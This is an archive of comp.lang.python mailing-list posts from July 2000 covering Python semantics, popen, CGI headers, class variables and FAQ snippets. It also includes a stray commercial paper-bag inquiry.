if you assign to a name/variable, you replace the address with a new one
(and the object at the old address may go away, if no other name is
referring to it). Mutable objects contain referemces of their own. Modifying
a list in-place means inserting, removing, or replacing references with new
ones. The referred-to objects themselves aren't changed in any way.

When passing a name to a function, you are simply assigning the "reference"
to a new name in the function's local namespace. Whatever you could do with
the old name before calling the function, you can do with the new name
inside the function. But the new name doesn't know anything about the old
one; assigning to the new name does *nothing* to the old name. Modifying an
object in-place will of course survive the function as a side-effect, but
the original *name* was not affected in any way.

Terms like "pass by reference" don't really apply to Python in the
traditional sense, because we're dealing with a higher order of
variables/names. (Of course, there are a few gotchas, as with any variable
or parameter passing scheme.) The language takes care of all the
housekeeping, freeing the programmer from having to deal with the details.
Once you understand the process and get over the need to keep track of all
the details, once you stop insisting that Python be explicable in terms of
some other language, once you trust the language to know what it's doing,
Python is very liberating. If you're a micromanaging control freak, then
perhaps Python isn't for you. But if you're willing to delegate the
drudgework, Python is great.

That's what's cool about different programming languages, just as with
natural languages: learning a new language shows you a new way of thinking.
Learning the syntax isn't enough; you have to embrace the deeper meaning.
And trying to apply some other language's semantics to a new language means
you'll speak haltingly, not fluently.

I hope this explanation helps, and I hope that this discussion fizzles out.
Life is too short!

-- 
David Goodger    dgoodger at bigfoot.com    Open-source projects:
 - The Go Tools Project: http://gotools.sourceforge.net
 (more to come!)



From alex at magenta.com  Fri Jul 21 17:21:07 2000
From: alex at magenta.com (Alex Martelli)
Date: Fri, 21 Jul 2000 23:21:07 +0200
Subject: cgi to send PDF file to browser?
References: <pG2d5.31399$8u4.320467@news1.rdc1.bc.home.com> <3976F56C.E412E20A@vandestadt.org>
Message-ID: <8laf1u01jd2@news2.newsguy.com>

"Richard van de Stadt -at home-" <richard at vandestadt.org> wrote in message
news:3976F56C.E412E20A at vandestadt.org...
    [snip]
> > I am looking for some advice on how to send a PDF file to a client
browser
    [snip]
> What you basically need is to print the string "application/pdf" followed
by
> the contents of the pdf file.
>
> I did that a few years ago, but went back to making links to the pdf
files.
> because too many users had problems configuring their browsers to work
with
> this. They just wanted to be able to download the files themselves by
> clicking on the links.

If your script had also sent a header of (warning: not 100% sure of
correct syntax, but that should be easy to check...):

Content-Disposition: attachment; filename=whatever.pdf

it should have fixed that (although, if I recall correctly, there
once was a bug with that with some Internet-Explorer sub-release;
but it's long been fixed by MS).

This one's a handly trick to keep in mind for any kind of filetype
that might be "registered" for special disposition on the user's
machine, by the way.


Alternatively, they could have fixed that on their end by setting
the preferences on their Acrobat Reader installation (removing the
"Web Integration" setting, if I recall correctly).  Although this
is PDF-specific, only, it's also handy if, like me, you detest the
way Acrobat Reader work when it integrates itself with a browser:-).


Alex





From garry at sage.att.com  Mon Jul  3 10:42:22 2000
From: garry at sage.att.com (Garry Hodgson)
Date: Mon, 3 Jul 2000 14:42:22 GMT
Subject: Tutorials at IPC9
References: <39591877.535A96BC@sage.att.com> <9i80ms4tbkjjhp90t55au011qquvmsr456@4ax.com>
Message-ID: <3960A64E.E7794249@sage.att.com>

Matt wrote:
> 
> On Tue, 27 Jun 2000 21:11:19 GMT, Garry Hodgson <garry at sage.att.com>
> wrote:
> 
> >I'm starting to think about what kinds of tutorials we should have at
> >the next Python conference.
> 
> Is there information available on when and where this will be?

not yet.

-- 
Garry Hodgson                   Every night 
garry at sage.att.com                a child is born
Software Innovation Services        is a Holy Night.
AT&T Labs                         - Sophia Lyon Fahs


From Bill.Scherer at VerizonWireless.com  Thu Jul 27 13:16:51 2000
From: Bill.Scherer at VerizonWireless.com (Bill Scherer)
Date: Thu, 27 Jul 2000 13:16:51 -0400
Subject: urllib.urlopen on win32
Message-ID: <39806E82.BFE40529@VerizonWireless.com>

I'got some code that calls urlopen with a dictionary to do a
POST request.
It works fine on Linux, but on WinNT, I get a 10054 winsock error
("Connection reset by peer") on line 117:

File "C:\Program Files\Python\Lib\plat-win\socket.py", line 117, in
readline
    new = self._sock.recv(self._rbufsize)
IOError: [Errno socket error] (10054, 'winsock error')


If I remove the dictionary to do a GET, then it works.

The code looks more less like the following:

data = urllib.urlencode(<some dict of stuff>)
url = "http://server:9999"
result = urllib.urlopen(url, data)
html = result.read()

The server is a Python http server derived from BaseHTTPserver.

Any ideas?

Thanks!

--
William K. Scherer
Sr. Member of Applications Staff - Verizon Wireless
Bill.Scherer_at_VerizonWireless.com






From garabik at center.fmph.uniba.sk.spam  Mon Jul 24 04:42:02 2000
From: garabik at center.fmph.uniba.sk.spam (Radovan Garabik)
Date: 24 Jul 2000 08:42:02 GMT
Subject: Python in game development?
References: <v62d5.580$GQ1.26151@newsread2.prod.itd.earthlink.net> <964118210.2281.0.pluto.d4ee0942@news.demon.nl> <397ab732.1184204@news.proxad.net> <964351215.18988.0.pluto.d4ee0942@news.demon.nl>
Message-ID: <8lgvgq$g9u$1@sunnews.cern.ch>

In comp.lang.python slaurijssen <serve at circe.dem.nl> wrote:
 : Oh, I'm sorry. I didn't realize there would actually be someone that
 : actually wants to use it. What's the point in using a C++-interpreter when
 : it's just as easy to compile the source, which has more advantages?

CINT is used as a built-in scripting language for ROOT (data analysis
package). It is meant to be used interactively., as well as for shell-like
scripts (within the ROOT framework).
Of course, python would be a better choice :-)

 : But who am I to argue,

 : the package is called CINT and I found a link at
 : http://root.cern.ch/root/Cint.html

-- 
 -----------------------------------------------------------
| Radovan Garabik  http://melkor.dnp.fmph.uniba.sk/~garabik |
| __..--^^^--..__         garabik @ fmph . uniba . sk       |
 -----------------------------------------------------------


From fiona at sitegnome.com.bbs  Mon Jul 17 00:50:02 2000
From: fiona at sitegnome.com.bbs (fiona at sitegnome.com.bbs)
Date: 17 Jul 2000 04:50:02 GMT
Subject: [FAQTS] Python Knowledge Base Update -- July 17th, 2000
Message-ID: <3bR02Q$j1k@openbazaar.net>

Hi Guys,

Below are the latest entries to be entered into http://python.faqts.com

cheers,

Fiona Czuczman

Including:

- I'm writing a script that will act as a GUI interface to another
script, and I want to have file browsing ability. How do I call this in
Tkinter?
- Searching code for parsing mail headers encoded according to  RFC 2047
(Message Header Extensions for Non-ASCII Text).
- Is there a way how I can identify the operating system my Python
script is running on (e.g., Linux, Windows, Mac, ...)?
- How does python invoke external C function?
- How do I go about getting my dynamic IP address?
- How does the statement 'global' work?


## Unanswered Questions ########################################


-------------------------------------------------------------
can i run a script in an already running interpreter to hook a gui to a server process
http://www.faqts.com/knowledge-base/view.phtml/aid/4761
-------------------------------------------------------------
Slimy



## New Entries #################################################


-------------------------------------------------------------
I'm writing a script that will act as a GUI interface to another script, and I want to have file browsing ability. How do I call this in Tkinter?
http://www.faqts.com/knowledge-base/view.phtml/aid/4768
-------------------------------------------------------------
Fiona Czuczman
John Grayson

This is not really a Tkinter issue, since you can fire up a file browser
window from a simple Python program. However, it may introduce some
special problems if you're doing it from a GUI. Therefore, here is some
sample code to illustrate how to do this for Windows and Solaris
platforms. You would have to adjust for other platforms. Note that if
you're doing this just for Unix, that you don't need to thread: you can
just fire off the command in the background...

from Tkinter import *
from tkSimpleDialog import *
import sys, os, thread


class App:
    def __init__(self, master):
        self.master = master
        Label(master, text='Browsing:').pack(side=LEFT,
                                             padx=4, pady=15)
        self.entry  = StringVar()
        Entry(master, width=50, bg='gray', textvariable=self.entry,
              state=DISABLED).pack(side=LEFT, padx=15, pady=15)
        Button(master, text='Browse...',
               command=self.browse).pack(side=BOTTOM)

    def browse(self):
        path  = askstring("Browse", "Enter directory")
        self.entry.set(path)

        browser = Browse(folder=path)

class Browse:
    def __init__(self, folder='.'):
        if sys.platform == 'win32':
            cmd = 'Explorer %s' % folder
        else:
            cmd = 'dtfile -folder %s' % folder
        thread.start_new_thread(self.doIt, (cmd,))

    def doIt(self, where):
        os.system(where)


root = Tk()
display = App(root)
root.mainloop()

Hope this helps to get you started.

BTW: Chapter 18 of Python and Tkinter Programming covers
handling asynchronous events and things that block the
mainloop...


-------------------------------------------------------------
Searching code for parsing mail headers encoded according to  RFC 2047 (Message Header Extensions for Non-ASCII Text).
http://www.faqts.com/knowledge-base/view.phtml/aid/4772
-------------------------------------------------------------
Fiona Czuczman
Fran?ois Pinard

I needed this soon after learning Python (so this is part of my first
Python lines, I would probably write something simpler today :-) and
quickly wrote what appears below.  However, I found out after the fact
that the Python library had something already.  See
mimify.mime_decode_header.


# Handling of RFC 2047 (previously RFC 1522) headers.

import re, string

def to_latin1(text):
    return _sub_f(r'=\?ISO-8859-1\?Q\?([^?]*)\?=', re.I, _replace1,
text)

def _replace1(match):
    return _sub_f('=([0-9A-F][0-9A-F])', re.I, _replace2,
                  re.sub('_', ' ', match.group(1)))

def _replace2(match):
    return chr(string.atoi(match.group(1), 16))

def _sub_f(pattern, flags, function, text):
    matcher = re.compile(pattern, flags).search
    position = 0
    results = []
    while 1:
        match = matcher(text, position)
        if not match:
            results.append(text[position:])
            return string.joinfields(results, '')
        results.append(text[position:match.start(0)])
        position = match.end(0)
        results.append(function(match))


-------------------------------------------------------------
Is there a way how I can identify the operating system my Python script is running on (e.g., Linux, Windows, Mac, ...)?
http://www.faqts.com/knowledge-base/view.phtml/aid/4773
-------------------------------------------------------------
Fiona Czuczman
Emile van Sebille, Mahogany Rush, Matthew Schinckel

Look for Marc Lemburg's platform.py, or use the standard sys.platform.

Python 1.6a2 (#1, May 14 2000, 08:15:17)  [GCC 2.8.1] on sunos5
Copyright 1991-1995 Stichting Mathematisch Centrum, Amsterdam
>>> import sys
>>> sys.platform
'sunos5'


If it is only for compatibilty reasons, you can use os.name.

This will give you one of: ['posix', 'nt', 'dos', 'mac', 'os2', 'ce'].


-------------------------------------------------------------
How does python invoke external C function?
http://www.faqts.com/knowledge-base/view.phtml/aid/4774
-------------------------------------------------------------
Fiona Czuczman
Wolfgang Grafen

I would recommend SWIG for a first step. You don't have to learn a lot
about extension modules with SWIG. Often it is easy like this (for sun
solaris 2.5):

swig -python -module a a.c
gcc -O02 -DSWIG -c -fpic a.c a_wrap.c \
-I/user/freepool/sparc-sun-solaris2.5.1/lib/python/python1.52/include/py
thon1.5/

ld -G a.o a_wrap.o -o a.so

Then in Python you can use it like it is.

Python 1.5.2 (#33, May 17 2000, 17:03:52)  [GCC 2.7.2] on sunos5
Copyright 1991-1995 Stichting Mathematisch Centrum, Amsterdam
>>> import a
>>> dir(a)
['__doc__', '__file__', '__name__', 'hex2bin', 'hex2bin_char',
'hex2bin_expand']
>>>

SWIG has a very good documentation. You can build extensions for PERL
and TCL the same way

http://www.swig.org

There is also another Corba-like Package called ILU. Probably SWIG is
more easy to use while ILU might be more powerful.

ftp://ftp.parc.xerox.com/pub/ilu/ilu.html


## Edited Entries ##############################################


-------------------------------------------------------------
How do I go about getting my dynamic IP address?
Detecting own computer's IP
http://www.faqts.com/knowledge-base/view.phtml/aid/4378
-------------------------------------------------------------
Nathan Wallace, Fiona Czuczman
Hans Nowak, Snippet 188, Python Snippet Support Team

"""
Packages: networking.sockets
"""

""" detectip.py
    Detects your own IP address. No big deal on Python; more work on Delphi
    (where the code originated from :).
"""

import socket

def detectip():
    buf = socket.gethostname()
    remotehost = socket.gethostbyname(buf)
    return remotehost


if __name__ == "__main__":

    print "Your IP address is", detectip()
    raw_input()


-------------------------------------------------------------
How does the statement 'global' work?
http://www.faqts.com/knowledge-base/view.phtml/aid/2902
-------------------------------------------------------------
Fiona Czuczman
Remco Gerlich, Thomas Wouters

Answer1:

Inside functions, if you assign to a variable, it is assumed to be local
to the function. If you want to assign to a global (module namespace)
variable, you'll have to tell Python that it's a global first.

ie,

x = 4
def spam():
  x = 5
spam()

Doesn't change the module's x. But

x = 4
def spam()
  global x
  x = 5
spam()

does.

If, inside a function, you only use the variable and never assign to it,
it can't be a local variable, so Python assumes you mean a global.

This doesn't only hold for functions, but classes and methods too.

Answer2:

Python has two namespaces it uses for name lookups: the 'local'
namespace and the 'global' namespace (you could call it the 'search
path'.) The local namespace is the function or class you are in, the
global namespace is the namespace of the module. If you are not in a
function or class, the local namespace is the global namespace.

However, *assigning* to a variable does not use this search path !
Instead, if you assign, you always assign in the local namespace. So,
for instance:

X = None

def FillX(x):
        X = x

would not work, because the X you assign to, is the *local* X, not the
global one. This wouldn't even generate an error, by the way. Even more
confusing is it if you read from and assign to 'X' in the same function:

X = None

def FillX(x):
        if not X:
                X = x

In Python 1.5.2, this generates a NameError:

Traceback (innermost last):
  File "<stdin>", line 1, in ?
  File "<stdin>", line 2, in FillX
NameError: X

and in Python 1.6, an UnboundLocalError:

Traceback (most recent call last):
  File "<stdin>", line 1, in ?
  File "<stdin>", line 3, in FillX
UnboundLocalError: X

It generates this strange error because the 'X' name exists in the local
namespace, but at the time of the test on X, it isn't filled in yet. The
interpreter knows it should be there, but can't find it at the time of
execution.

And this is what the 'global' keyword is for. It says 'this name is
global, *even if* it gets assigned to. You only need it when you are
assigning to globals, not when you are mutating them (appending to
lists, adding to dictionaries, etc.)


From gee308 at mediaone.net  Fri Jul 21 21:27:45 2000
From: gee308 at mediaone.net (Toy)
Date: Sat, 22 Jul 2000 01:27:45 GMT
Subject: newb Q
Message-ID: <3978FD9D.B08460CB@mediaone.net>

How can I make python issue the command, "ifconfig -a eth0", and then
parse the data to grab the IP?  I would think that you could tell Python
to look for the word, 'inet addr:"(is it different on different Unixes?)
and then tell it to get a number right after 'inet addr' that looks like
xx.x.xxx.xxx !!  Simple Q, but I'm new, thanks.



From Stefan.Debler at bitways.de  Mon Jul 31 04:30:52 2000
From: Stefan.Debler at bitways.de (S.Debler (Bitways))
Date: Mon, 31 Jul 2000 10:30:52 +0200
Subject: Urgent inquiry for Paper bags!
Message-ID: <200007310830.KAA04565@mcqueen.wolfsburg.de>

Urgent inquiry for Paper bags,


Dear Sirs,

We are an international trading company, mainly serving the European industry.

The Bitways Group purchases globally on own account and then resells the products to various clients. Our aim is to source globally and to offer our clients the best prices worldwide.

>From one of our own or rented databases we have retrieved your address as potential supplier of the product(s) we would like to purchase this time. If you can promptly give us your very best quote you might be chosen as the supplier we have been looking for as early as next week.

In conclusion I would like to ask you to make us your best quote as this will enable us to work more efficiently.

This email is confidential. If you are not the intended recipient, you must
not copy, disclose or use its contents. If you have received it in error,
please inform us immediately by return email and delete the document.

Please check the Specifications:

Inquiry for paper bags!


Position                  Product

1	paper bag


Quantity: 150 000 pcs.

Productpecification: 

Paper bag with carrying bail.

Dimensions: 320mm x 320mm + 220mm

Weight : 80g/qm

Material : Natronbleached

Imprint : 2 colours (Manuscript is on compact or floppy disk)

Packaging: In cartons. Item number has to be printed on the carton.



Position                       Product

2	paper bag


Quantity: 150 000 pcs.

Productspecification:
 
Paper bag without a carrying bail.

Dimensions: 220mm x 380mm + 100mm

Weight : 50g/qm

Material : Natronbleached

Imprint : 2 colours (Manuscript is on compact or floppy disk)

Packaging: In cartons. Item number has to be printed on the carton.





Position                     Product

3	paper bag (biscuit bag)

Quantity: 19 000 000 pcs.

Productspecifications:

Dimensions: 140mm x 70mm x 280mm

Weight : 40g/qm

Material : parchment  substitute 
                 Oxygen bleached

Imprint : 2 colours (Manuscript is on compact or floppy disk)

Packaging: In cartons. Item number has to be printed on the carton.




Yours Sincerely,

Stefan Debler
Global Sourcing Operator
Global Sourcing Team

BITWAYS GLOBAL SOURCING GMBH
Berliner Br?cke, BZO, House 20,
InnovationsCampus,
D-38448 Wolfsburg, Germany
Fon: +49 (0) 5361 275789
Fax: +49 (0) 5361 275799
Email: Stefan.Debler at bitways.de
www.bitways.de




From db3l at fitlinxx.com  Thu Jul 27 13:57:17 2000
From: db3l at fitlinxx.com (David Bolen)
Date: 27 Jul 2000 13:57:17 -0400
Subject: Python 2.0 - win32pipe routines inclusion for Windows
References: <u66q3ovcg.fsf@ctwd0143.fitlinxx.com> <cpzon4jnm6.fsf@cj20424-a.reston1.va.home.com> <uaef4m92z.fsf@ctwd0143.fitlinxx.com> <39802DB6.73CEC178@endea.demon.nl>
Message-ID: <uk8e7wj5u.fsf@ctwd0143.fitlinxx.com>

Niels Diepeveen <niels at endea.demon.nl> writes:

> David Bolen schreef:
> ...
> > since the os.popen#() routines can standardize on
> > using the first (or only for the original os.popen) file for returning
> > the exit code on the close, and since that's always stdin of the child
> > (except for the pair of os.popen() write modes, for which there's no
> > connection to the child stdin) it minimizes the risk of any deadlock
> > waiting for the child process during the close since the wait is
> > performed as part of closing stdin to the child process.
> 
> I don't quite see how you can safely wait() for the child process before
> you close *all* the pipes. Given that pipes have limited buffer space,
> the child process might want to output more than that amount of data
> after encountering EOF on the input. Consider this example:

Oh I agree - that's the one potential hole that made me say
"minimizes" and not "removes".  It's pretty likely that closing the
child's stdin is going to force some sort of error eventually on the
child if it wasn't closing naturally, but not 100%.

I don't think there's any way for the popen routines themselves to
close this hole however.  The only real fix is to close all files
related to the child process whenever one is closed that needs to
retrieve the exit code.  But that behavior would be fraught with
indirect issues where elsewhere the Python code might not expect
handles other than the one explicitly referenced in the close() to
become closed.

But closing that hole at the application level isn't very difficult.
The application needs to have processed all the child output (through
knowledge of the child), or just explicitly closed the other files
returned by the initial popen# call before doing the final close on
the child-stdin to receive the exit code.

--
-- David
-- 
/-----------------------------------------------------------------------\
 \               David Bolen            \   E-mail: db3l at fitlinxx.com  /
  |             FitLinxx, Inc.            \  Phone: (203) 708-5192    |
 /  860 Canal Street, Stamford, CT  06902   \  Fax: (203) 316-5150     \
\-----------------------------------------------------------------------/


From MarkH at ActiveState.com  Thu Jul 27 01:40:02 2000
From: MarkH at ActiveState.com (Mark Hammond)
Date: Thu, 27 Jul 2000 05:40:02 GMT
Subject: Microsoft's C# (Sharp) & .NET -- A Heads Up
References: <Pine.GSO.4.10.10007270810400.2823-100000@sundial>
Message-ID: <SWPf5.13166$4p3.102561@news-server.bigpond.net.au>

"Moshe Zadka" <moshez at math.huji.ac.il> wrote in message
news:Pine.GSO.4.10.10007270810400.2823-100000 at sundial...
> On Thu, 27 Jul 2000, Mark Hammond wrote:
>
> Hmmm...this sounds positively interesting. Do you know if there is
similar
> support for continuations? IOW, can Scheme be supported on IL?

AFAIK, continuations are currently being fudged, but MS have promised to
add more stuff like this after release.  Unfortunately, "after release" is
still some time off.  For all of my MS praise in the last mail, it should
be obvious thay are still a commercial company with a tight deadline.
They have said a number of times "if you can work around it, do" -
tail-recursion turned out to be an issue that was extremely difficult to
fudge, so support was added pre-beta.  Continuations are simpler to fudge,
so explicit support was pushed back.

I know of at least one (fairly) complete and fast scheme implementation.

> That's sad -- JPython, CPython and Python .NET should feel the *same*.
> That's why we have a standard (the Python Language Reference Manual).
> I truly hope JPython and Python .NET (is that the official name)

No idea what the official name is!  Python .NET seems to make sense at
this stage.

> will be similar enough to CPython that Python code will work across them
> seamlessly.

I agree.  Although there is a dilemma here - sometime you _must_ make a
choice between the language semantics versus the platform semantics.  ie,
it would be just as much of a shame if JPython and/or Python .NET didnt
support enough platform semantics to make it a viable language on that
platform, thereby keeping it stuck in an "interesting, but not useful"
flux.

I dont believe this needs to be a real problem.  When implementing a new
version of Python, you will be amazed at how much _isnt_ spelt out.
Fortunately, the implementation is clean and available, meaning the
existing C code is usually a better reference than the docs!  Im fairly
confident I can support all documented semantics, and plenty of
undocumented ones.

Mark.





From db3l at fitlinxx.com  Mon Jul  3 15:37:35 2000
From: db3l at fitlinxx.com (David Bolen)
Date: 03 Jul 2000 15:37:35 -0400
Subject: Traping output from os.system
References: <8jn34q$kpn$1@news.lth.se> <hCI75.5717$Tb7.31730@news-server.bigpond.net.au>
Message-ID: <u7lb3yphc.fsf@ctwd0143.fitlinxx.com>

"Mark Hammond" <MarkH at ActiveState.com> writes:

> You want "popen".  For non-windows platforms, "os.popen" is where you can
> find it.  For Win32 systems, you need the win32 extensions, and
> "win32pipe.popen".

Any chance that a future update to the extensions will be able to
return the result code of the child process on a close(), as
os.popen() does?

--
-- David
-- 
/-----------------------------------------------------------------------\
 \               David Bolen            \   E-mail: db3l at fitlinxx.com  /
  |             FitLinxx, Inc.            \  Phone: (203) 708-5192    |
 /  860 Canal Street, Stamford, CT  06902   \  Fax: (203) 316-5150     \
\-----------------------------------------------------------------------/


From dirck.IsGettingTooMuchSpam at pacbell.net  Sat Jul  1 23:53:12 2000
From: dirck.IsGettingTooMuchSpam at pacbell.net (Dirck Blaskey)
Date: Sat, 1 Jul 2000 20:53:12 -0700
Subject: ? WinNT sys.stdout and re-direction
References: <8F6466ABEpluskrunetedu@137.45.128.146>
Message-ID: <J0z75.214$E63.94053@news.pacbell.net>

Paul D. Lusk <plusk at radford.edu> wrote in message
news:8F6466ABEpluskrunetedu at 137.45.128.146...
> ...
> At the NT command prompt:
>
> script.py in.txt
>
> writes output to the screen,
>
> but
>
> script.py in.txt>out.txt
>
> gives me a empty out.txt

If you'd like to retain the short-hand version
(as opposed to the long-hand 'python script.py >out.txt')
check out http://www.danbala.com/python/cmdfix

d

______________________

Dirck Blaskey
Danbala Software
http://www.danbala.com
______________________





From aahz at netcom.com  Sat Jul 29 01:06:48 2000
From: aahz at netcom.com (Aahz Maruch)
Date: 29 Jul 2000 05:06:48 GMT
Subject: The State of Python
References: <200007270038.TAA03951@cj20424-a.reston1.va.home.com> <FMsgUTBHBIg5Ew9s@jessikat.fsnet.co.uk> <39808d84.23819726@news-server.austin.rr.com> <3981B8E1.6F55A6FC@stroeder.com>
Message-ID: <8ltop8$c$1@nntp9.atl.mindspring.net>

In article <3981B8E1.6F55A6FC at stroeder.com>,
Michael Str?der  <michael at stroeder.com> wrote:
>jay graves wrote:
>> 
>> Q: How do you keep a lawyer from drowning?
>> A: Take your foot off his neck.
>
>Q: What are 1000 lawyers at the bottom of the ocean?
>A: A good start.

Q: What do you call a lawyer buried up to his neck in sand?

A: Not enough sand.
--
                      --- Aahz (Copyright 2000 by aahz at pobox.com)

Androgynous poly kinky vanilla queer het    <*>     http://www.rahul.net/aahz/
Hugs and backrubs -- I break Rule 6

NOTE: end of September, Earthlink kills Netcom.  My new permanent address is 
aahz at pobox.com.  I have not decided where to set my primary shell account.
Please do not send me e-mail condolences; my mailbox is already too big.


From matthias.huening at univie.ac.at  Fri Jul  7 03:39:19 2000
From: matthias.huening at univie.ac.at (Matthias Huening)
Date: Fri, 7 Jul 2000 09:39:19 +0200
Subject: os.system
References: <8k23tg$38me$1@www.univie.ac.at> <39653D15.E4DE6131@pehr.net>
Message-ID: <8k41hb$3cqk$1@www.univie.ac.at>

pehr anderson <pehr at pehr.net> schrieb in im Newsbeitrag:
39653D15.E4DE6131 at pehr.net...
>
> I'd recommend browsing "Python for Win32" if you are serious
> about surviving under windows.
>

Well, I liked the os.system solution because in this specific case talking
to the browser is the only thing I would need the Win32 extensions for. And
so I thought it would be nice to avoid them alltogether. But you are
probably right: if you want to use Python on Windows, you should have Marc
Hammonds extensions installed and you should use them.

Thanks, Matthias







From cut_me_out at hotmail.com  Sat Jul 15 17:59:19 2000
From: cut_me_out at hotmail.com (Alex)
Date: 15 Jul 2000 17:59:19 -0400
Subject: automatically filling web forms?
References: <JI4c5.27939$SU5.618637@afrodite.telenet-ops.be>
Message-ID: <etdaefjvyvc.fsf@w20-575-115.mit.edu>

> can I automatically fill webforms?

Yes, you can.  Check out the htmllib module, which you can use to get
the forms out of the document, and the GET and POST capabilities of
urllib, which you can use to send your response.

Alex.



From anupamk at mindspringdot.com  Sun Jul 23 19:48:16 2000
From: anupamk at mindspringdot.com (anupam)
Date: Sun, 23 Jul 2000 19:48:16 -0400
Subject: crypto modules in python
Message-ID: <397B8440.C1DD25C9@mindspringdot.com>

hi all,

can someone please point me to link(s) to python modules dealing with
cryptography e.g ssleay or open ssl wrappers. i cannot find any sig
at python.org dealing specifically with cryptography, and searching
usenet at deja news wasn't very helpful either.

thank you.


anupam

--
codito ergo sum.



From f98ba at efd.lth.se  Sun Jul  2 05:48:10 2000
From: f98ba at efd.lth.se (f98ba at efd.lth.se)
Date: 2 Jul 2000 09:48:10 GMT
Subject: Traping output from os.system
Message-ID: <8jn34q$kpn$1@news.lth.se>

Hi,

I'm executing a command with os.system and are
trying to capture the output into a python
variable. The only I can find to do it in
at the moment is to redirrect the output
to a file and the read it. That feels wrong,
isn't there another simple way??

Thanks,
Bjorn


From thomas_s at ebox.tninet.se  Mon Jul 10 16:16:38 2000
From: thomas_s at ebox.tninet.se (Thomas Svensson)
Date: Mon, 10 Jul 2000 21:16:38 +0100
Subject: Static member variables
References: <8kahdq$5e2$1@zingo.tninet.se> <8kahq3$fof$1@slb0.atl.mindspring.net>
Message-ID: <8kd766$qi7$1@zingo.tninet.se>

In article <8kahq3$fof$1 at slb0.atl.mindspring.net>, aahz at netcom.com (Aahz
Maruch) wrote:
[...]
> You can have class variables, but they're not exactly what I'd call
> "static" and they certainly aren't constant.
> 
> class foo:
>   bar = 2
>   def __init__(self):
>     self.baz = 3
> 
> f = foo()
> 
> f.bar is a class variable; f.baz is an instance variable.  Note that you
> can run into problems if you're not careful because of the way scoping
> rules work.

Thanks,

Very logical when I see it now. About trouble, do you mean something
similar to this:

class X:
    foo = 'bar'
class Y(X):
    pass

print X.foo, Y.foo

X.foo = 'duh'
print X.foo, Y.foo


It yields this for me somewhat surprising output:

bar bar
duh duh

Assigning to Y.foo instead gives a different output. I'm not quite
sure I understand why, have to read the manual first.

-- 
Thomas



From robin at jessikat.fsnet.co.uk  Thu Jul 20 12:53:45 2000
From: robin at jessikat.fsnet.co.uk (Robin Becker)
Date: Thu, 20 Jul 2000 17:53:45 +0100
Subject: Discussion: new operators for numerical computation
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com>
 <8l6vul$5ig$1@slb3.atl.mindspring.net>
 <x83HMXAHJxd5EwAj@jessikat.fsnet.co.uk> <39771CA8.A1BF8D6E@fft.be>
 <y$M38JArNyd5EwxV@jessikat.fsnet.co.uk>
Message-ID: <iWWJyhAZ6yd5EwRM@jessikat.fsnet.co.uk>

In article <y$M38JArNyd5EwxV at jessikat.fsnet.co.uk>, Robin Becker
<robin at jessikat.fsnet.co.uk> writes
>In article <39771CA8.A1BF8D6E at fft.be>, Gregory Lielens
><gregory.lielens at fft.be> writes
>>Robin Becker wrote:
>...
I forgot to mention that the physicists sometimes use
an outer or cross product like
(a1,a2,a3) cross (b1,b2,b3) --> (a2b3-b3a2,a3b1-a1b3,a1b2-a2b1)
-- 
Robin Becker


From shapr at uab.edu  Mon Jul 31 06:18:50 2000
From: shapr at uab.edu (Shae Erisson)
Date: Mon, 31 Jul 2000 10:18:50 GMT
Subject: Removing whitespace
References: <8m3gt7$h1k$1@nnrp1.deja.com>
Message-ID: <39855250.FCFD3960@uab.edu>

pauljolly at my-deja.com wrote:
> 
> Dear All,
> 
> Firstly, apologies for all the questions! However, extensive searching
> and reading of manuals has not helped me here. How does one remove
> whitespace characters from a string (using the re module)? I have tried
> using the re.compile('\s*') method, followed by the split() function
> but no success. Any help much appreciated with example code is possible.

I wouldn't use the re module.
I'd use strip function in the string module.
-- 
Shae Matijs Erisson - http://www.webwitches.com/~shae/
VirtualPairProgramming Wanted - Linux/Emacs/Python/Speak Freely
.fi: rakastan ohjelmointia - python kengitt?? aasia


From stephen_purcell at yahoo.com  Mon Jul 24 23:18:58 2000
From: stephen_purcell at yahoo.com (Steve Purcell)
Date: Tue, 25 Jul 2000 03:18:58 -0000
Subject: Test framework of choice?
In-Reply-To: <8F7B7D888beablebeable@209.155.56.81>
Message-ID: <8lj0v2+8r4u@eGroups.com>

morris at m... (Mitchell Morris) wrote:
> In the course of finding a reasonably standard-ish test framework,
> I found a curiousity:
> <URL:http://www.xprogramming.com/software.htm> reports three
> separate implementations for Python.

And there are at least four more!

> kneejerk reaction is to use pyunit merely because it's hosted at
> SourceForge, but I'm not at all sure that software should be
> blessed merely because of who hosts the CVS tree.

I'd imagine that software can only be blessed by contented users, and
in the absence of an official Proclamation, you should simply use
whichever test framework you prefer.

There isn't a singular CVS tree for this, so it's not a tyrannical
monopoly <wink>. I wrote a little code, had some positive feedback,
and tried to make it available in a convenient way by sticking it on
SourceForge. Amazingly, it now seems to get about 50 visitors per day.

I'd be happy to see a framework such as this become a standard part
of Python, and would be willing to do some work to help that happen.
That might include adapting existing regression tests, and writing
documentation.

It's not clear to me where the line falls between 'core' modules and 
'add-ons'. My guess is that the Python community could put itself
even further ahead of the pack by settling on a standard bundled test
framework.

Best wishes,

-Steve

--
Steve Purcell,  Technical Director, Inkontact
Get in touch at http://www.inkontact.com/
Get testing at http://pyunit.sourceforge.net/
"Life must be simple if I can do it" -- Me




From grey at despair.rpglink.com  Fri Jul 28 01:17:51 2000
From: grey at despair.rpglink.com (Steve Lamb)
Date: Fri, 28 Jul 2000 05:17:51 GMT
Subject: Perl is worse! (was: Python is Wierd!) 
References: <200007280137.LAA30715@envy.fulcrum.com.au> <slrn8o1vc0.vnr.grey@teleute.rpglink.com> <Ja8g5.18900$ga2.508345@newsread2.prod.itd.earthlink.net>
Message-ID: <slrn8o25nr.e7.grey@teleute.rpglink.com>

On Fri, 28 Jul 2000 04:42:17 GMT, Chris Lawrence <quango at watervalley.net> wrote:
>Reasonable enough.  Though you're not populating a list with a single
>nothing; you're making an empty list.  OTOH, by the logic below, why
>not [None] instead of []?

    Why not indeed?  Something other than an error is expected.

>Not sure about these.  If you want a one-element list, say so.  x =
>[1] is concise.  x = list(1) ain't.  If [] offends your sensibilities,
>try x = list(1,).

    You missed the context in which I was creating it, the rest is just little
snippets to reinforce the point and aren't supposed to be taken as examples of
practical application any more than a 4th grade text book teaching how money
works through purchases without the addition of taxes is meant to be anything
more than an example to serve the purpose of introducing a concept.

    Define a variable to get the name space in there but you don't know how it
is going to be used later on.  a = None.  Now make it a list in a concise
manner.  

for x in range(10):
  a.append(x)

    Whoops, can't do it.  It isn't a list.  So make it a list.

list(a)
for x in range(10):
  a.append(x)

